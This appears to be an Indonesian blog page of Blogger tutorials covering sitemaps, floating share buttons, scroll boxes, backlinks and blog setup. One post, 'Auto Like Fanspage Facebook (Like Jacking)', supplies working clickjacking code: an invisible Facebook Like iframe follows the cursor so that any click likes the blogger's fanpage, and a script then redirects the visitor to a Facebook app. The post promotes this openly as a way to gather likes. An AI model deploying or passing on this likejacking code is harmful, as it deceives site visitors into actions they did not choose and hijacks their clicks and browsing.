Cara Membuat Sitemap Atau Daftar Isi SEO Friendly DI Blog

Hello, sobat Gobel's Blog? gimana kabarnya nih? semoga baik-baik saja ya,,
Kali ini saya mau berbagi tutorial Cara Membuat Sitemap Atau Daftar Isi SEO Friendly Di Blog, yang lebih seo friendly dari pada yang pertama Cara Membuat Sitemap yang telah saya share kemaren. Sitemap atau daftar isi di blog ini lebih SEO friendly karena semua postingan akan terlihat bukan hanya yang memiliki label atau kategori saja.Untuk caranya bisa langsung liat nih, langsung dipraktekin aja ya.

  • Pertama, seperti Cara Membuat Sitemap yang kemaren, Buka dashbor dan klik Entri Baru seperti kita mau bikin artikel atau postingan baru.
  • Lalu klik HTML bukan Compose.
  • COPAS kode dibawah ini.
<script src="http://sitemap-by-date-seo-friendly.googlecode.com/files/sitemap-by-date-seo-friendly.js" type="text/javascript"></script>
<script alt="Sitemap" src="http://tips-gobel.blogspot.com/feeds/posts/default?max-results=9999&amp;alt=json-in-script&amp;callback=loadtoc"></script>

  • Untuk yang berwarna hijau tersebut sobat ganti dengan url blog sobat.
  •  Kemudian PUBLISH.
Contoh hasil nanti akan seperti ini.

Sitemap Daftar Isi Blog seo Friendly

Sangat mudah bukan sobat? Demikian tutorial tentang Cara Membuat Sitemap Atau Daftar Isi Di Blog SEO Friendly. Sitemap ini bisa melihat semua postingan kita walaupun tanpa label atau kategori.
Untuk sobat yang mau tau Cara Membuat Tombol Share Melayang SEO Friendly bisa langsung ke TKP.
Kalo menurut sobat artikel ini menarik dan sangat berguna, mohon di SHARE ke temen-temen ya.
Terima kasih.
See You Next Post.


»»  READMORE...

Cara Membuat Tombol Share Melayang SEO Friendly

Hello sobat Gobel's Blog, sekarang saya mau share tentang Cara Membuat Tombol Share Melayang SEO Friendly. Cara ini sudah banyak digunakan oleh Blogger sekarang. Soalnya tombol share ini sangat simpel, SEO friendly, user friendly dan tombol ini bisa melayang untuk memudahkan pengunjung untuk menyebar luaskan artikel kita ke berbagai sosial media seperti Facebook, Twitter, Google Plus, Digg.com, juga ada like facebook, Jadi tombol share ini sangat memudahkan pengunjung dan tentu saja kita sebagai blogger g perlu repot-repot untuk menyebarluaskan artikel kita. Untuk Cara nya mending langsung saja ke TKP -->
Cara Membuat Tombol Share Melayang SEO Friendly


  • Pertama, Masuk ke Dahsbor
  • Kedua, klik Rancangan -> Tata Letak.
  • Klik Tambah Gadget, dan pilih HTML/Javascript.
  • Lalu masukan Judul dan script dibawah ini.


    <!--Widget Share like FB tweet google plus digg Button Melayang Start-->

    <style>
    #pageshare {position:fixed; bottom:15%; right:10px; float:left; border: 1px solid black; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#eff3fa;padding:0 0 2px

    0;z-index:10;}

    #pageshare .sbutton {float:left;clear:both;margin:5px 5px 0 5px;}

    .fb_share_count_top {width:48px !important;}

    .fb_share_count_top, .fb_share_count_inner {-moz-border-radius:3px;-webkit-border-radius:3px;}

    .FBConnectButton_Small, .FBConnectButton_RTL_Small {width:49px !important; -moz-border-radius:3px;-webkit-border-radius:3px;}

    .FBConnectButton_Small .FBConnectButton_Text {padding:2px 2px 3px !important;-moz-border-radius:3px;-webkit-border-radius:3px;font-size:8px;}

    </style>
    <div id='pageshare' title="bagikan ke teman anda">
    <div class='sbutton' id='gb'><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like layout="box_count" show_faces="false" font=""></fb:like></div>
    <div class='sbutton' id='rt'><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" >Tweet</a><script src='http://platform.twitter.com/widgets.js' type="text/javascript"></script></div>
    <div class='sbutton' id='gplusone'><script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script><g:plusone size="tall"></g:plusone></div>
    <div class='sbutton' id='su'><script src="http://www.stumbleupon.com/hostedbadge.php?s=5"></script></div>
    <div class='sbutton' id='digg' style='margin-left:3px;width:48px'><script src='http://widgets.digg.com/buttons.js' type='text/javascript'></script><a class="DiggThisButton DiggMedium"></a></div>
    <div class='sbutton' id='fb'><a name="fb_share" type="box_count" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div><br/><div style="clear: both;font-size: 8px;text-align:center;"><a href="http://tips-gobel.blogspot.com/2012/12/blog-gratis-mudah-cepat.html" target="blank"><font color="blue">Cara Membuat<font></font></font></a></div></div>

    <!--Widget Share like FB tweet google plus digg  Button Melayang End-->

    • Lalu Simpan.
    Mudah bukan? silahkan share artikel ini ya sobat.
    Demikian tutor Cara Membuat Tombol Share Melayang SEO Friendly.
    Untuk sobat yang mau mendengarkan radio lewat winamp pemutar musik, bisa masuk kesini
    Cara Mendengarkan Radio Online Lewat Winamp.
    Terima kasih
    Semoga bermanfaat
    See You Next Post


    »»  READMORE...

    Cara Membuat Sitemap Blog Di Google Webmaster Tools

    Sobat Gobel's Blog, kali ini ane mau share tentang Cara Membuat Sitemap Blog Di Google Webmaster Tools. Ternyata membuat sitemap di Blogspot lebih susah daripada di Wordpress.
    Tapi jangan khawatir, ane ada cara untukmembuat untuk Blogspot atau Blogger.
    Langsung ke TKP

    SiteMap dengan Google Webmaster

    Bagi pengguna Account Google dan memakai Blogger,tentu sudah tidak asing lagi,istilah Google Webmaster Tools.
    Rahasia dibalik Google Webmaster ini,sebenarnya sebuah kunci bagaimana mengoptimalkan sebuah situs,baik dari Meta,Robot,Analisa Blog,dan salah satunya ’SiteMap’.

    Sebelumnya,pada Feed situs anda tuliskan alamat,misal;
    http://namabloganda.blogspot.com/atom.xml?redirect=false&start-index=1&max-results=100
    Cara lebih jelasnya ikuti langkah berikut:
    Pergi ke ’Dashboard’,Pilih ’Pengaturan’,lalu pilih ’Feed Situs’.
    Kemudian pada kolom ’Posting URL Pengubahan Arah Feed’,anda isikan URL Feeds seperti contoh diatas.
    Lalu Simpan.
    Nah,untuk membuat sitemap nya,anda bisa ikuti langkah di bawah ini:

    Berhubung Google Webmaster sudah di ’Renovasi’,kita menyesuaikan menggunakan cara yang baru.


    1. Pastikan Blog/Web anda sudah ter verifikasi
    2. Kunjungi Situs www.google.com/webmasters/tools
    3. Jika anda belum punya Account,Pilih ’Sign Up’
    4. Setelah masuk klik ’Add Site’,lalu isikan alamat blog yang ingin anda buatkan SiteMap
    5. Klik tulisan ’Site Configuration’,di sebelah kiri atas
    6. Klik ’SiteMap’
    7. Klik tombol Submit a Sitemap
    8. Anda bisa tuliskan alamat seperti dibawah ini,pada kolom yang kosong.
    * feeds/posts/default
    * atom.xml?redirect=false&start-index=1&max-results=500
     Untuk postingan yang lebih banyak bisa ganti dengan 1000 atau lebih
    9. Pilih salah satu atau bisa kedua-dua_nya.
    10. Lalu tekan tombol Submit Sitemap
    Setelah itu,jika ada gambar jam,berarti Sitemap anda berhasil dan masih dalam proses.
    11. Selesai.

    Hanya itu yang bisa ane share tentang Cara Membuat Sitemap Blog Di Google Webmaster Tools.
    Untuk Sobat yang mau Cara Membuat Sitemap Atau Daftar Isi Blog bisa langsung masuk.
     Terima kasih
    See You Next Post


    »»  READMORE...

    Cara Membuat Sitemap Atau Daftar Isi Blog

    Sobat Gobel's Blog, untuk sobat yang akan membuat sitemap atau daftar isi bog, ini ada Cara Membuat Sitemap Atau Daftar Isi Blog. Sitemap ini tujuannya adalah untuk mempermudah pengunjung untuk melihat semua postingan kita. Jadi penginjung bisa langsung masuk ke postingan kita yang dia pilih dan yang lagi dia cari. Untuk Cara Membuat Sitemap Atau Daftar Isi Blog bisa langsung ke TKP aja

    • Pertama sobat masuk ke Dashbor
    • Lalu Buat Entri baru, (seperti biasa kita mau buat postingan baru)
    • Lalu klik HTML bukan Compose
    • Langsung masukkan kode ini

    <script src="http://sitemap-seo-friendly.googlecode.com/files/categories-seo-friendly.js.txt" type="text/javascript"></script><br /><script alt="Sitemap" src="http://tips-gobel.blogspot.com/feeds/posts/default?max-results=9999&amp;alt=json-in-script&amp;callback=loadtoc"></script>

    Untuk tulisan yang berwarna biru tersebut sobat ganti dengan alamat blog sobat.
    • Beri judul sesuka sobat, Contoh: Sitemap Gobel's Blog
    • Terakhir tinggal publish.
    Hasil contoh nanti seperti ini.

    Sitemap daftar Isi Blog

    Demikian tutorial tentang Cara Membuat Sitemap Atau Daftar Isi Blog yang bisa ane share.
    Untuk sobat yang mau akun facebooknya aman masuk saja Cara Agar Facebook Aman Dari Hacker. Selamat mencoba
    Terima Kasih
    See You Next Post


    »»  READMORE...

    Auto Like Fanspage Facebook (Like Jacking) di Blog

    Sobat Gobel's Blog Ane mau share tentang Like Jacking (Auto Like Fanspage Facebook) yang akan dipasang di blog sobat.
    Jadi sistem kerjanya, kalo blog sobat dikunjungi, maka pengunjung tidak akan bisa apa-apa kecuali like FANSPAGE facebook sobat, SEMUA halaman blog Sobat akan penuh dengan tombol like yang tidak keliatan. Kalau pengunjung mengklik di semua tempat pasti akan nge-like fanspage facebook sobat. Langsung saja ke TKP

    Auto Like Fanspage Facebook like Jacking
     


    Berikut langkah-langkah membuat / memasang facebook like jacking di blog :
    1. Masuk ke Blogger
    2. Pilih Rancangan
    3. Pilih Tambah Gadget
    4. Pilih HTML/Javascript
    5. Copy kode script di bawah ini masukkan ke dalam HTML/Javascript


    <script src="http://code.jquery.com/jquery-1.5.js"></script> <style>
    html, body { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; }
    div.wrapper { width: 100%; height: 100%; overflow: auto; }
    img.bg { min-height: 100%; min-width: 1024px; width: 100%; height: 100%; position: fixed; top: 0; left: 0;z-index: 0; }
    @media screen and (max-width: 1024px) { img.bg { left: 50%; margin-left: -512px; } }
    #content { text-align: center; position: absolute; width: 100%; height: 100%; top: 0; left: 0; color: #fff;font-family: 'palatino linotype', palatino; font-weight: normal; text-align: left; text-shadow: 0 1px 0 #000; z-index: 10; }
    #content .description { position: relative; width: 580px; left: 50%; margin-left: -290px; }
    #content .description h1 { font-size: 32px; }
    #content .description .warning { color: #f00; }
    #content .description .link, #content .description a { font-size: 22px; color: #fff; text-decoration:underline; }
    #content .description .footer, #content .description .footer a { font-size: 10px; }
    </style>


    <span id="link" class="link">
    <div id="content">




    </div>
    <div id="wrapper" style="position: absolute; opacity: 1; filter: alpha(opacity = 0); margin-left: -50px; z-index:100;">

    <iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FRasecowebid%2F146543882165484&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:21px;" allowtransparency="true"></iframe>


    <script>
    FB.Event.subscribe('edge.create',function(response) {window.top.location.href = "http://apps.facebook.com/gandjarexe/";});
    </script>
    <:/div>
    <script type="text/javascript">
    jQuery( document ).ready( function() {
    $( "#link" ).mousemove( function( e ) {
    $( '#wrapper' ).css( {
    top: e.pageY - 10,
    left: e.pageX + 20
    } );
    } );
    } )
    </script>


    </span>
    6. Selesai, simpan
    Untuk yang berwarna kuning bisa Sobat ganti dengan ID fanspage facebook sobat.Silahkan mencoba dan selamat bersuka ria fanspage udah banyak like, tinggal menunggu saja.
     Sekian yang bisa ane share buat sobat blogger Indonesia, semoga bermanfaat.
    terima Kasih
    See You Next post


    »»  READMORE...

    Cara Membuat Scroll Komentar Di Blog


     Sobat Gobel's Blog, Anda mencari tutorial Cara Membuat Scroll Komentar Di Blog sekarang Anda akan memulainya dengan mengedit sedikit di HTML. Cara Membuat Scroll Box untuk Arsip Blog yang sudah Sobat share kemaren. Dan sekarang saat untuk membuat scroll komentar.   
    Scroll Komentar


    Nah bagi yang ingin menerapkannya pada blog anda, ikuti saja caranya :


    • Seperti biasa masuk ke akun blogger
    •  Lalu klik rancangan 
    • lalu klik Edit HTML.
    • Kemudian cari kode berikut #comments-block{ . untuk mempermudah pencarian tekan CTRL + F. (Jangan lupa sebelumnya centang Expand Widget dan salin template anda untuk jaga-jaga). Sehingga kode lengkapnya sepeti ini :


    #comments-block{border:0px dotted #ccc;width:569px;margin:1.3em 0 1.5em;line-height:1.6em}

    • Selanjutnya hapus kode diatas tadi dan ganti dengan kode seperti di bawah ini :

     #comments-block{max-height:300px;border:1px solid#eee;overflow:auto;width:569px;margin:1.3em 0 1.5em;line-height:1.6em}


    Keterangan : 

    Pada tulisan warna biru itu ukuran tinggi dan bisa Anda ubah sesuai selera Anda, 300 px ,sedangkan 1 px adalah ukuran border, untuk warna border adalah yang #eee . Hal-hal itu dapat anda ganti dengan selera masing-masing.
    Terakhir Sava Template anda.
    Demikianlah  Cara membuat Scroll komentar di blog, semoga ada manfaatnya.
     
    Terima kasih
    See You Next Post
     
     


    »»  READMORE...

    Cara Membuat Scroll Box untuk Arsip Blog

     Gobel's Blog Update tutor lagi nih,, Kemaren udah update tentang Cara Mendapatkan Backlink Bagus Berkualitas dan kali ini memberikan Cara Membuat Scroll Box untuk Arsip Blog yang memungkinkan Blog Anda untuk sedap di pandang.
    Scroll Arsip Blog
    Langsung Saja Mulai =>>

    • Login ke Blogger ( www.blogger.com )
    • Klik Rancangan
    • Klik Edit HTML
    • Beri tanda centang pada tulisan " Expand Template Widget "
    • Cari kode HTML seperti ini  <div id='ArchiveList'> supaya lebih mudah dalam pencariannya,tekan secara bersamaan di Keyboard Komputer sobat ctrl+f dan masukin kodenya.
    • Copy kode html ini  <div style='overflow:auto; width:ancho; height:150px;'> dan paste-kan tepat diatas/sebelum kode  <div id='ArchiveList'>
    • Selanjutnya silahkan tambahin kode </div> diatas kode  <b:include name='quickedit'/>
    • Dan jika seluruh kodenya sudah diterapkan/dipasang maka akan tampak seperti di bawah ini :
    <div style='overflow:auto; width:ancho; height:150px;'>


    <div id='ArchiveList'>


    <div expr:id='data:widget.instanceId + &quot;_ArchiveList&quot;'>


    <b:if cond='data:style == &quot;HIERARCHY&quot;'>


    <b:include data='data' name='interval'/>


    </b:if>


    <b:if cond='data:style == &quot;FLAT&quot;'>


    <b:include data='data' name='flat'/>


    </b:if>


    <b:if cond='data:style == &quot;MENU&quot;'>


    <b:include data='data' name='menu'/>


    </b:if>


    </div>


    </div></div>


    <b:include name='quickedit'/>
    • Silahkan klik pratinjau untuk melihat apakah berhasil atau tidak
    • Dan jika berhasil,baru sobat klik simpan template
    • Selesai
    Note: Untuk Warna hijau bisa Anda ubah sesuai selera Anda.
    Itu sedikit Tutor untuk Anda mengenai Cara Membuat Scroll Box untuk Arsip Blog
    Terima Kasih
    See You Next Post




    »»  READMORE...

    Cara Mendapatkan Backlink Bagus Berkualitas

    Anda pasti menvari-cari cara mendapatkan backlink gratis berkualitas dan bisa mendongkrak SERP Anda ke halaman awal Mbah Google. Namun Anda sulit untuk mencari itu semua, jangan khawatir, Disini Anda akan diajarkan Cara Mendapatkan Backlink Bagus Gratis pula,,
     Kemaren Saya sudah mengupdate tentang Bikin Flashdiskmu Berbicara Saat Dicolokkan
    Begini caranya>>
    Pertama masuk ke Dasbor blog Anda
    Kedua >> masuk ke  Tata Letak
    Ketiga >> Tambah Gadged
    Keempat >> Tambah HTML
    Kelima >> copy code berikut dan simpan.
    Backlink Gratis Berkualitas

    Copy Kode HTML di bawah dan paste ke website/blog anda >>>
      Anda bisa membuat atau mempelkan code ini di berbagai tempat.
    Itulah cara mendapatkan backlink bagus berkualitas
    Terima Kasih
    Semoga Artikel ini bisa membantu Anda mendapatkan backlink yang berkualitas
    See you next post



    »»  READMORE...

    Cara Mudah Membuat Blog Gratis Cepat

    Sobat Gobel's Blog kini ane mau share tentang Cara Mudah Buat Blog Gratis Mudah dan Cepat Sebagai gambaran awal, blogspot saat ini lebih banyak dikenal oleh banyak orang selain
     itu pula tutor yang tersedia juga sangat banyak dan mudah ditemukan di
    google. Hal ini mungkin karena blogspot merupakan bagian dari google
    makanya cukup banyak hehehe.. gak tau dink :)
    info Kompter

    Kedepan sobat pasti akan tahu sendiri mengenai seputar blog, yang
    penting kudu rajin cari info baik itu kepada yang lebih tahu ataupun
    sekedar googling sendiri. Karena kalau ingin mendapatkan yang lebih dari
     sebuah blog dan bukan sekedar menulis, tentunya sobat harus banyak
    bertanya serta mencoba. Gagal merupakan hal yang biasa...Oalah koq malah
     kasih nasehat sich.. bukannya diajari cara membuat blog..

    Pertama: Anda diharuskan memiliki akun Gmail/ akun google masuk kesini untuk mendaftar
    Kedua:  masuk www.blogger.com  disana akan ada "Blogger:creat your free blog"
    Ketiga: masuk saja, Anda akan diminta sign in, masuk saja dengan akun gmail yang baru saja Anda buat.
    Keempat:
    1. Isilah formulir yang ada :
      1. Nama tampilan : isi dengan nama yang ingin tampil pada profile blog anda.
      2. Jenis Kelamin : pilih sesuai dengan jenis kelamin anda, misal : pria.
      3. Penerimaan Persyaratan : Beri tada ceklis sebagai tanda anda setuju dengan peraturan yangtelah di tetapkan oleh pihak blogger. Saran: sebaiknya anda membaca terlebih dahulu persyaratan yang ada agar anda tahu dan mengerti apa yang boleh dan tidak diperbolehkan ketika menggunakan layanan blogger.
      4. Klik tanda panah bertuliskan “Lanjutkan”.

        Membuat Blog Mudah Gratis
    2. Klik tombol “Blog Baru”.

      Membuat Blog Mudah Gratis

    3. Isilah formulir :
      1. Judul : Isi dengan judul blog yang di inginkan, misal : Coretan sang penghayal
      2. Alamat : isi dengan alamat blog yang di inginkan. Ingat! Alamat ini tidak dapat di edit kembali setelah dibuat, apabila anda ingin serius, maka pilihlah nama yang benar-benar anda inginkan.
      3. Template : pilih template (tampilan blog) yang disukai (ini dapat ganti kembali).
      4. Lanjutkan dengan klik tombol “Buat blog!”.

        Membuat Blog Mudah Gratis

      5. Sampai disini blog anda telah berhasil di buat.
    4. Untuk menghindari spam filter, sebaiknya anda langsung posting sembarang saja. Klik tulisan “Mulai mengeposkan”.

      Membuat Blog Mudah Gratis

    5. Isi judul serta artikel. Akhiri dengan klik tombol “Publikasikan”.

      Membuat Blog Mudah Gratis

    6. Silahkan lihat blog anda dengan klik tombol “Lihat Blog
    7. Selesai.
    Begitulah Cara Mudah Membuat Blog Gratis yang bisa saya jelaskan untuk Anda yang baru terjun pada dunia blogging. Semoga bermanfaat.
    thanks
    See You Next Post


    »»  READMORE...
    .
    .
    .
    .
    .

    ---->>Alexa<-----

    ---->Histats<----

    Link Sobat